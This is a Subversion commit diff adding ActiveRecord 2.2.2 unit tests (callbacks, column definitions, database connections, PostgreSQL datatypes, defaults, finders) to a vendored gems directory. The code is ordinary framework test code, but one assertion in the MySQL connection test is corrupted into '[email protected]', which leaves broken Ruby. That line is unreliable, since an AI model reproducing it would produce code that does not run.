+    ], david.history
+  end
+
+  def test_existing_valid?
+    david = CallbackDeveloper.find(1)
+    david.valid?
+    assert_equal [
+      [ :after_find,            :string ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :string ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :before_validation_on_update, :string ],
+      [ :before_validation_on_update, :proc   ],
+      [ :before_validation_on_update, :object ],
+      [ :before_validation_on_update, :block  ],
+      [ :after_validation,            :string ],
+      [ :after_validation,            :proc   ],
+      [ :after_validation,            :object ],
+      [ :after_validation,            :block  ],
+      [ :after_validation_on_update,  :string ],
+      [ :after_validation_on_update,  :proc   ],
+      [ :after_validation_on_update,  :object ],
+      [ :after_validation_on_update,  :block  ]
+    ], david.history
+  end
+
+  def test_create
+    david = CallbackDeveloper.create('name' => 'David', 'salary' => 1000000)
+    assert_equal [
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :string ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :before_validation_on_create, :string ],
+      [ :before_validation_on_create, :proc   ],
+      [ :before_validation_on_create, :object ],
+      [ :before_validation_on_create, :block  ],
+      [ :after_validation,            :string ],
+      [ :after_validation,            :proc   ],
+      [ :after_validation,            :object ],
+      [ :after_validation,            :block  ],
+      [ :after_validation_on_create,  :string ],
+      [ :after_validation_on_create,  :proc   ],
+      [ :after_validation_on_create,  :object ],
+      [ :after_validation_on_create,  :block  ],
+      [ :before_save,                 :string ],
+      [ :before_save,                 :proc   ],
+      [ :before_save,                 :object ],
+      [ :before_save,                 :block  ],
+      [ :before_create,               :string ],
+      [ :before_create,               :proc   ],
+      [ :before_create,               :object ],
+      [ :before_create,               :block  ],
+      [ :after_create,                :string ],
+      [ :after_create,                :proc   ],
+      [ :after_create,                :object ],
+      [ :after_create,                :block  ],
+      [ :after_save,                  :string ],
+      [ :after_save,                  :proc   ],
+      [ :after_save,                  :object ],
+      [ :after_save,                  :block  ]
+    ], david.history
+  end
+
+  def test_save
+    david = CallbackDeveloper.find(1)
+    david.save
+    assert_equal [
+      [ :after_find,            :string ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :string ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :before_validation_on_update, :string ],
+      [ :before_validation_on_update, :proc   ],
+      [ :before_validation_on_update, :object ],
+      [ :before_validation_on_update, :block  ],
+      [ :after_validation,            :string ],
+      [ :after_validation,            :proc   ],
+      [ :after_validation,            :object ],
+      [ :after_validation,            :block  ],
+      [ :after_validation_on_update,  :string ],
+      [ :after_validation_on_update,  :proc   ],
+      [ :after_validation_on_update,  :object ],
+      [ :after_validation_on_update,  :block  ],
+      [ :before_save,                 :string ],
+      [ :before_save,                 :proc   ],
+      [ :before_save,                 :object ],
+      [ :before_save,                 :block  ],
+      [ :before_update,               :string ],
+      [ :before_update,               :proc   ],
+      [ :before_update,               :object ],
+      [ :before_update,               :block  ],
+      [ :after_update,                :string ],
+      [ :after_update,                :proc   ],
+      [ :after_update,                :object ],
+      [ :after_update,                :block  ],
+      [ :after_save,                  :string ],
+      [ :after_save,                  :proc   ],
+      [ :after_save,                  :object ],
+      [ :after_save,                  :block  ]
+    ], david.history
+  end
+
+  def test_destroy
+    david = CallbackDeveloper.find(1)
+    david.destroy
+    assert_equal [
+      [ :after_find,            :string ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_destroy,              :string ],
+      [ :before_destroy,              :proc   ],
+      [ :before_destroy,              :object ],
+      [ :before_destroy,              :block  ],
+      [ :after_destroy,               :string ],
+      [ :after_destroy,               :proc   ],
+      [ :after_destroy,               :object ],
+      [ :after_destroy,               :block  ]
+    ], david.history
+  end
+
+  def test_delete
+    david = CallbackDeveloper.find(1)
+    CallbackDeveloper.delete(david.id)
+    assert_equal [
+      [ :after_find,            :string ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+    ], david.history
+  end
+
+  def test_before_save_returning_false
+    david = ImmutableDeveloper.find(1)
+    assert david.valid?
+    assert !david.save
+    assert_raises(ActiveRecord::RecordNotSaved) { david.save! }
+
+    david = ImmutableDeveloper.find(1)
+    david.salary = 10_000_000
+    assert !david.valid?
+    assert !david.save
+    assert_raises(ActiveRecord::RecordInvalid) { david.save! }
+  end
+
+  def test_before_create_returning_false
+    someone = CallbackCancellationDeveloper.new
+    assert someone.valid?
+    assert !someone.save
+  end
+
+  def test_before_destroy_returning_false
+    david = ImmutableDeveloper.find(1)
+    assert !david.destroy
+    assert_not_nil ImmutableDeveloper.find_by_id(1)
+  end
+
+  def test_zzz_callback_returning_false # must be run last since we modify CallbackDeveloper
+    david = CallbackDeveloper.find(1)
+    CallbackDeveloper.before_validation proc { |model| model.history << [:before_validation, :returning_false]; return false }
+    CallbackDeveloper.before_validation proc { |model| model.history << [:before_validation, :should_never_get_here] }
+    david.save
+    assert_equal [
+      [ :after_find,            :string ],
+      [ :after_find,            :proc   ],
+      [ :after_find,            :object ],
+      [ :after_find,            :block  ],
+      [ :after_initialize,            :string ],
+      [ :after_initialize,            :proc   ],
+      [ :after_initialize,            :object ],
+      [ :after_initialize,            :block  ],
+      [ :before_validation,           :string ],
+      [ :before_validation,           :proc   ],
+      [ :before_validation,           :object ],
+      [ :before_validation,           :block  ],
+      [ :before_validation, :returning_false  ]
+    ], david.history
+  end
+
+  def test_inheritence_of_callbacks
+    parent = ParentDeveloper.new
+    assert !parent.after_save_called
+    parent.save
+    assert parent.after_save_called
+
+    child = ChildDeveloper.new
+    assert !child.after_save_called
+    child.save
+    assert child.after_save_called
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/class_inheritable_attributes_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/class_inheritable_attributes_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/class_inheritable_attributes_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,32 @@
+require 'test/unit'
+require "cases/helper"
+require 'active_support/core_ext/class/inheritable_attributes'
+
+class A
+  include ClassInheritableAttributes
+end
+
+class B < A
+  write_inheritable_array "first", [ :one, :two ]
+end
+
+class C < A
+  write_inheritable_array "first", [ :three ]
+end
+
+class D < B
+  write_inheritable_array "first", [ :four ]
+end
+
+
+class ClassInheritableAttributesTest < ActiveRecord::TestCase
+  def test_first_level
+    assert_equal [ :one, :two ], B.read_inheritable_attribute("first")
+    assert_equal [ :three ], C.read_inheritable_attribute("first")
+  end
+
+  def test_second_level
+    assert_equal [ :one, :two, :four ], D.read_inheritable_attribute("first")
+    assert_equal [ :one, :two ], B.read_inheritable_attribute("first")
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/column_alias_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/column_alias_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/column_alias_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,17 @@
+require "cases/helper"
+require 'models/topic'
+
+class TestColumnAlias < ActiveRecord::TestCase
+  fixtures :topics
+
+  QUERY = if 'Oracle' == ActiveRecord::Base.connection.adapter_name
+            'SELECT id AS pk FROM topics WHERE ROWNUM < 2'
+          else
+            'SELECT id AS pk FROM topics'
+          end
+
+  def test_column_alias
+    records = Topic.connection.select_all(QUERY)
+    assert_equal 'pk', records[0].keys[0]
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/column_definition_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/column_definition_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/column_definition_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,36 @@
+require "cases/helper"
+
+class ColumnDefinitionTest < ActiveRecord::TestCase
+  def setup
+    @adapter = ActiveRecord::ConnectionAdapters::AbstractAdapter.new(nil)
+    def @adapter.native_database_types
+      {:string => "varchar"}
+    end
+  end
+
+  # Avoid column definitions in create table statements like:
+  # `title` varchar(255) DEFAULT NULL
+  def test_should_not_include_default_clause_when_default_is_null
+    column = ActiveRecord::ConnectionAdapters::Column.new("title", nil, "varchar(20)")
+    column_def = ActiveRecord::ConnectionAdapters::ColumnDefinition.new(
+      @adapter, column.name, "string",
+      column.limit, column.precision, column.scale, column.default, column.null)
+    assert_equal "title varchar(20)", column_def.to_sql
+  end
+
+  def test_should_include_default_clause_when_default_is_present
+    column = ActiveRecord::ConnectionAdapters::Column.new("title", "Hello", "varchar(20)")
+    column_def = ActiveRecord::ConnectionAdapters::ColumnDefinition.new(
+      @adapter, column.name, "string",
+      column.limit, column.precision, column.scale, column.default, column.null)
+    assert_equal %Q{title varchar(20) DEFAULT 'Hello'}, column_def.to_sql
+  end
+
+  def test_should_specify_not_null_if_null_option_is_false
+    column = ActiveRecord::ConnectionAdapters::Column.new("title", "Hello", "varchar(20)", false)
+    column_def = ActiveRecord::ConnectionAdapters::ColumnDefinition.new(
+      @adapter, column.name, "string",
+      column.limit, column.precision, column.scale, column.default, column.null)
+    assert_equal %Q{title varchar(20) DEFAULT 'Hello' NOT NULL}, column_def.to_sql
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/connection_test_firebird.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/connection_test_firebird.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/connection_test_firebird.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+require "cases/helper"
+
+class FirebirdConnectionTest < ActiveRecord::TestCase
+  def test_charset_properly_set
+    fb_conn = ActiveRecord::Base.connection.instance_variable_get(:@connection)
+    assert_equal 'UTF8', fb_conn.database.character_set
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/connection_test_mysql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/connection_test_mysql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/connection_test_mysql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require "cases/helper"
+
+class MysqlConnectionTest < ActiveRecord::TestCase
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def test_no_automatic_reconnection_after_timeout
+    assert @connection.active?
+    @connection.update('set @@wait_timeout=1')
+    sleep 2
+    assert [email protected]?
+  end
+
+  def test_successful_reconnection_after_timeout_with_manual_reconnect
+    assert @connection.active?
+    @connection.update('set @@wait_timeout=1')
+    sleep 2
+    @connection.reconnect!
+    assert @connection.active?
+  end
+
+  def test_successful_reconnection_after_timeout_with_verify
+    assert @connection.active?
+    @connection.update('set @@wait_timeout=1')
+    sleep 2
+    @connection.verify!
+    assert @connection.active?
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/copy_table_test_sqlite.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/copy_table_test_sqlite.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/copy_table_test_sqlite.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,69 @@
+require "cases/helper"
+
+class CopyTableTest < ActiveRecord::TestCase
+  fixtures :companies, :comments
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+    class << @connection
+      public :copy_table, :table_structure, :indexes
+    end
+  end
+
+  def test_copy_table(from = 'companies', to = 'companies2', options = {})
+    assert_nothing_raised {copy_table(from, to, options)}
+    assert_equal row_count(from), row_count(to)
+
+    if block_given?
+      yield from, to, options
+    else
+      assert_equal column_names(from), column_names(to)
+    end
+
+    @connection.drop_table(to) rescue nil
+  end
+
+  def test_copy_table_renaming_column
+    test_copy_table('companies', 'companies2',
+        :rename => {'client_of' => 'fan_of'}) do |from, to, options|
+      expected = column_values(from, 'client_of')
+      assert expected.any?, 'only nils in resultset; real values are needed'
+      assert_equal expected, column_values(to, 'fan_of')
+    end
+  end
+
+  def test_copy_table_with_index
+    test_copy_table('comments', 'comments_with_index') do
+      @connection.add_index('comments_with_index', ['post_id', 'type'])
+      test_copy_table('comments_with_index', 'comments_with_index2') do
+        assert_equal table_indexes_without_name('comments_with_index'),
+                     table_indexes_without_name('comments_with_index2')
+      end
+    end
+  end
+
+  def test_copy_table_without_primary_key
+    test_copy_table('developers_projects', 'programmers_projects')
+  end
+
+protected
+  def copy_table(from, to, options = {})
+    @connection.copy_table(from, to, {:temporary => true}.merge(options))
+  end
+
+  def column_names(table)
+    @connection.table_structure(table).map {|column| column['name']}
+  end
+
+  def column_values(table, column)
+    @connection.select_all("SELECT #{column} FROM #{table} ORDER BY id").map {|row| row[column]}
+  end
+
+  def table_indexes_without_name(table)
+    @connection.indexes('comments_with_index').delete(:name)
+  end
+
+  def row_count(table)
+    @connection.select_one("SELECT COUNT(*) AS count FROM #{table}")['count']
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/database_statements_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/database_statements_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/database_statements_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,12 @@
+require "cases/helper"
+
+class DatabaseStatementsTest < ActiveRecord::TestCase
+  def setup
+    @connection = ActiveRecord::Base.connection
+  end
+
+  def test_insert_should_return_the_inserted_id
+    id = @connection.insert("INSERT INTO accounts (firm_id,credit_limit) VALUES (42,5000)")
+    assert_not_nil id
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/datatype_test_postgresql.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/datatype_test_postgresql.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/datatype_test_postgresql.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,203 @@
+require "cases/helper"
+
+class PostgresqlArray < ActiveRecord::Base
+end
+
+class PostgresqlMoney < ActiveRecord::Base
+end
+
+class PostgresqlNumber < ActiveRecord::Base
+end
+
+class PostgresqlTime < ActiveRecord::Base
+end
+
+class PostgresqlNetworkAddress < ActiveRecord::Base
+end
+
+class PostgresqlBitString < ActiveRecord::Base
+end
+
+class PostgresqlOid < ActiveRecord::Base
+end
+
+class PostgresqlDataTypeTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  def setup
+    @connection = ActiveRecord::Base.connection
+
+    @connection.execute("INSERT INTO postgresql_arrays (commission_by_quarter, nicknames) VALUES ( '{35000,21000,18000,17000}', '{foo,bar,baz}' )")
+    @first_array = PostgresqlArray.find(1)
+
+    @connection.execute("INSERT INTO postgresql_moneys (wealth) VALUES ('567.89'::money)")
+    @connection.execute("INSERT INTO postgresql_moneys (wealth) VALUES ('-567.89'::money)")
+    @first_money = PostgresqlMoney.find(1)
+    @second_money = PostgresqlMoney.find(2)
+
+    @connection.execute("INSERT INTO postgresql_numbers (single, double) VALUES (123.456, 123456.789)")
+    @first_number = PostgresqlNumber.find(1)
+
+    @connection.execute("INSERT INTO postgresql_times (time_interval) VALUES ('1 year 2 days ago')")
+    @first_time = PostgresqlTime.find(1)
+
+    @connection.execute("INSERT INTO postgresql_network_addresses (cidr_address, inet_address, mac_address) VALUES('192.168.0/24', '172.16.1.254/32', '01:23:45:67:89:0a')")
+    @first_network_address = PostgresqlNetworkAddress.find(1)
+
+    @connection.execute("INSERT INTO postgresql_bit_strings (bit_string, bit_string_varying) VALUES (B'00010101', X'15')")
+    @first_bit_string = PostgresqlBitString.find(1)
+
+    @connection.execute("INSERT INTO postgresql_oids (obj_id) VALUES (1234)")
+    @first_oid = PostgresqlOid.find(1)
+  end
+
+  def test_data_type_of_array_types
+    assert_equal :string, @first_array.column_for_attribute(:commission_by_quarter).type
+    assert_equal :string, @first_array.column_for_attribute(:nicknames).type
+  end
+
+  def test_data_type_of_money_types
+    assert_equal :decimal, @first_money.column_for_attribute(:wealth).type
+  end
+
+  def test_data_type_of_number_types
+    assert_equal :float, @first_number.column_for_attribute(:single).type
+    assert_equal :float, @first_number.column_for_attribute(:double).type
+  end
+
+  def test_data_type_of_time_types
+    assert_equal :string, @first_time.column_for_attribute(:time_interval).type
+  end
+
+  def test_data_type_of_network_address_types
+    assert_equal :string, @first_network_address.column_for_attribute(:cidr_address).type
+    assert_equal :string, @first_network_address.column_for_attribute(:inet_address).type
+    assert_equal :string, @first_network_address.column_for_attribute(:mac_address).type
+  end
+
+  def test_data_type_of_bit_string_types
+    assert_equal :string, @first_bit_string.column_for_attribute(:bit_string).type
+    assert_equal :string, @first_bit_string.column_for_attribute(:bit_string_varying).type
+  end
+
+  def test_data_type_of_oid_types
+    assert_equal :integer, @first_oid.column_for_attribute(:obj_id).type
+  end
+
+  def test_array_values
+   assert_equal '{35000,21000,18000,17000}', @first_array.commission_by_quarter
+   assert_equal '{foo,bar,baz}', @first_array.nicknames
+  end
+
+  def test_money_values
+    assert_equal 567.89, @first_money.wealth
+    assert_equal -567.89, @second_money.wealth
+  end
+
+  def test_number_values
+    assert_equal 123.456, @first_number.single
+    assert_equal 123456.789, @first_number.double
+  end
+
+  def test_time_values
+    assert_equal '-1 years -2 days', @first_time.time_interval
+  end
+
+  def test_network_address_values
+    assert_equal '192.168.0.0/24', @first_network_address.cidr_address
+    assert_equal '172.16.1.254', @first_network_address.inet_address
+    assert_equal '01:23:45:67:89:0a', @first_network_address.mac_address
+  end
+
+  def test_bit_string_values
+    assert_equal '00010101', @first_bit_string.bit_string
+    assert_equal '00010101', @first_bit_string.bit_string_varying
+  end
+
+  def test_oid_values
+    assert_equal 1234, @first_oid.obj_id
+  end
+
+  def test_update_integer_array
+    new_value = '{32800,95000,29350,17000}'
+    assert @first_array.commission_by_quarter = new_value
+    assert @first_array.save
+    assert @first_array.reload
+    assert_equal @first_array.commission_by_quarter, new_value
+    assert @first_array.commission_by_quarter = new_value
+    assert @first_array.save
+    assert @first_array.reload
+    assert_equal @first_array.commission_by_quarter, new_value
+  end
+
+  def test_update_text_array
+    new_value = '{robby,robert,rob,robbie}'
+    assert @first_array.nicknames = new_value
+    assert @first_array.save
+    assert @first_array.reload
+    assert_equal @first_array.nicknames, new_value
+    assert @first_array.nicknames = new_value
+    assert @first_array.save
+    assert @first_array.reload
+    assert_equal @first_array.nicknames, new_value
+  end
+
+  def test_update_money
+    new_value = BigDecimal.new('123.45')
+    assert @first_money.wealth = new_value
+    assert @first_money.save
+    assert @first_money.reload
+    assert_equal new_value, @first_money.wealth
+  end
+
+  def test_update_number
+    new_single = 789.012
+    new_double = 789012.345
+    assert @first_number.single = new_single
+    assert @first_number.double = new_double
+    assert @first_number.save
+    assert @first_number.reload
+    assert_equal @first_number.single, new_single
+    assert_equal @first_number.double, new_double
+  end
+
+  def test_update_time
+    assert @first_time.time_interval = '2 years 3 minutes'
+    assert @first_time.save
+    assert @first_time.reload
+    assert_equal @first_time.time_interval, '2 years 00:03:00'
+  end
+
+  def test_update_network_address
+    new_cidr_address = '10.1.2.3/32'
+    new_inet_address = '10.0.0.0/8'
+    new_mac_address = 'bc:de:f0:12:34:56'
+    assert @first_network_address.cidr_address = new_cidr_address
+    assert @first_network_address.inet_address = new_inet_address
+    assert @first_network_address.mac_address = new_mac_address
+    assert @first_network_address.save
+    assert @first_network_address.reload
+    assert_equal @first_network_address.cidr_address, new_cidr_address
+    assert_equal @first_network_address.inet_address, new_inet_address
+    assert_equal @first_network_address.mac_address, new_mac_address
+  end
+
+  def test_update_bit_string
+    new_bit_string = '11111111'
+    new_bit_string_varying = 'FF'
+    assert @first_bit_string.bit_string = new_bit_string
+    assert @first_bit_string.bit_string_varying = new_bit_string_varying
+    assert @first_bit_string.save
+    assert @first_bit_string.reload
+    assert_equal @first_bit_string.bit_string, new_bit_string
+    assert_equal @first_bit_string.bit_string, @first_bit_string.bit_string_varying
+  end
+
+  def test_update_oid
+    new_value = 567890
+    assert @first_oid.obj_id = new_value
+    assert @first_oid.save
+    assert @first_oid.reload
+    assert_equal @first_oid.obj_id, new_value
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/date_time_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/date_time_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/date_time_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,37 @@
+require "cases/helper"
+require 'models/topic'
+require 'models/task'
+
+class DateTimeTest < ActiveRecord::TestCase
+  def test_saves_both_date_and_time
+    time_values = [1807, 2, 10, 15, 30, 45]
+    now = DateTime.civil(*time_values)
+
+    task = Task.new
+    task.starting = now
+    task.save!
+
+    # check against Time.local_time, since some platforms will return a Time instead of a DateTime
+    assert_equal Time.local_time(*time_values), Task.find(task.id).starting
+  end
+
+  def test_assign_empty_date_time
+    task = Task.new
+    task.starting = ''
+    task.ending = nil
+    assert_nil task.starting
+    assert_nil task.ending
+  end
+
+  def test_assign_empty_date
+    topic = Topic.new
+    topic.last_read = ''
+    assert_nil topic.last_read
+  end
+
+  def test_assign_empty_time
+    topic = Topic.new
+    topic.bonus_time = ''
+    assert_nil topic.bonus_time
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/default_test_firebird.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/default_test_firebird.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/default_test_firebird.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,16 @@
+require "cases/helper"
+require 'models/default'
+
+class DefaultTest < ActiveRecord::TestCase
+  def test_default_timestamp
+    default = Default.new
+    assert_instance_of(Time, default.default_timestamp)
+    assert_equal(:datetime, default.column_for_attribute(:default_timestamp).type)
+
+    # Variance should be small; increase if required -- e.g., if test db is on
+    # remote host and clocks aren't synchronized.
+    t1 = Time.new
+    accepted_variance = 1.0
+    assert_in_delta(t1.to_f, default.default_timestamp.to_f, accepted_variance)
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/defaults_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/defaults_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/defaults_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,100 @@
+require "cases/helper"
+require 'models/default'
+require 'models/entrant'
+
+class DefaultTest < ActiveRecord::TestCase
+  def test_nil_defaults_for_not_null_columns
+    column_defaults =
+      if current_adapter?(:MysqlAdapter) && (Mysql.client_version < 50051 || (50100..50122).include?(Mysql.client_version))
+        { 'id' => nil, 'name' => '',  'course_id' => nil }
+      else
+        { 'id' => nil, 'name' => nil, 'course_id' => nil }
+      end
+
+    column_defaults.each do |name, default|
+      column = Entrant.columns_hash[name]
+      assert !column.null, "#{name} column should be NOT NULL"
+      assert_equal default, column.default, "#{name} column should be DEFAULT #{default.inspect}"
+    end
+  end
+
+  if current_adapter?(:MysqlAdapter)
+
+    #MySQL 5 and higher is quirky with not null text/blob columns.
+    #With MySQL Text/blob columns cannot have defaults. If the column is not null MySQL will report that the column has a null default
+    #but it behaves as though the column had a default of ''
+    def test_mysql_text_not_null_defaults
+      klass = Class.new(ActiveRecord::Base)
+      klass.table_name = 'test_mysql_text_not_null_defaults'
+      klass.connection.create_table klass.table_name do |t|
+        t.column :non_null_text, :text, :null => false
+        t.column :non_null_blob, :blob, :null => false
+        t.column :null_text, :text, :null => true
+        t.column :null_blob, :blob, :null => true
+      end
+      assert_equal '', klass.columns_hash['non_null_blob'].default
+      assert_equal '', klass.columns_hash['non_null_text'].default
+
+      assert_equal nil, klass.columns_hash['null_blob'].default
+      assert_equal nil, klass.columns_hash['null_text'].default
+
+      assert_nothing_raised do
+        instance = klass.create!
+        assert_equal '', instance.non_null_text
+        assert_equal '', instance.non_null_blob
+        assert_nil instance.null_text
+        assert_nil instance.null_blob
+      end
+    ensure
+      klass.connection.drop_table(klass.table_name) rescue nil
+    end
+
+
+    # MySQL uses an implicit default 0 rather than NULL unless in strict mode.
+    # We use an implicit NULL so schema.rb is compatible with other databases.
+    def test_mysql_integer_not_null_defaults
+      klass = Class.new(ActiveRecord::Base)
+      klass.table_name = 'test_integer_not_null_default_zero'
+      klass.connection.create_table klass.table_name do |t|
+        t.column :zero, :integer, :null => false, :default => 0
+        t.column :omit, :integer, :null => false
+      end
+
+      assert_equal 0, klass.columns_hash['zero'].default
+      assert !klass.columns_hash['zero'].null
+      # 0 in MySQL 4, nil in 5.
+      assert [0, nil].include?(klass.columns_hash['omit'].default)
+      assert !klass.columns_hash['omit'].null
+
+      assert_raise(ActiveRecord::StatementInvalid) { klass.create! }
+
+      assert_nothing_raised do
+        instance = klass.create!(:omit => 1)
+        assert_equal 0, instance.zero
+        assert_equal 1, instance.omit
+      end
+    ensure
+      klass.connection.drop_table(klass.table_name) rescue nil
+    end
+  end
+
+  if current_adapter?(:PostgreSQLAdapter, :FirebirdAdapter, :OpenBaseAdapter, :OracleAdapter)
+    def test_default_integers
+      default = Default.new
+      assert_instance_of Fixnum, default.positive_integer
+      assert_equal 1, default.positive_integer
+      assert_instance_of Fixnum, default.negative_integer
+      assert_equal -1, default.negative_integer
+      assert_instance_of BigDecimal, default.decimal_number
+      assert_equal BigDecimal.new("2.78"), default.decimal_number
+    end
+  end
+
+  if current_adapter?(:PostgreSQLAdapter)
+    def test_multiline_default_text
+      # older postgres versions represent the default with escapes ("\\012" for a newline)
+      assert ( "--- []\n\n" == Default.columns_hash['multiline_default'].default ||
+               "--- []\\012\\012" == Default.columns_hash['multiline_default'].default)
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/deprecated_finder_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/deprecated_finder_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/deprecated_finder_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require "cases/helper"
+require 'models/entrant'
+
+class DeprecatedFinderTest < ActiveRecord::TestCase
+  fixtures :entrants
+
+  def test_deprecated_find_all_was_removed
+    assert_raise(NoMethodError) { Entrant.find_all }
+  end
+
+  def test_deprecated_find_first_was_removed
+    assert_raise(NoMethodError) { Entrant.find_first }
+  end
+
+  def test_deprecated_find_on_conditions_was_removed
+    assert_raise(NoMethodError) { Entrant.find_on_conditions }
+  end
+
+  def test_count
+    assert_equal(0, Entrant.count(:conditions => "id > 3"))
+    assert_equal(1, Entrant.count(:conditions => ["id > ?", 2]))
+    assert_equal(2, Entrant.count(:conditions => ["id > ?", 1]))
+  end
+
+  def test_count_by_sql
+    assert_equal(0, Entrant.count_by_sql("SELECT COUNT(*) FROM entrants WHERE id > 3"))
+    assert_equal(1, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 2]))
+    assert_equal(2, Entrant.count_by_sql(["SELECT COUNT(*) FROM entrants WHERE id > ?", 1]))
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activerecord-2.2.2/test/cases/dirty_test.rb
===================================================================
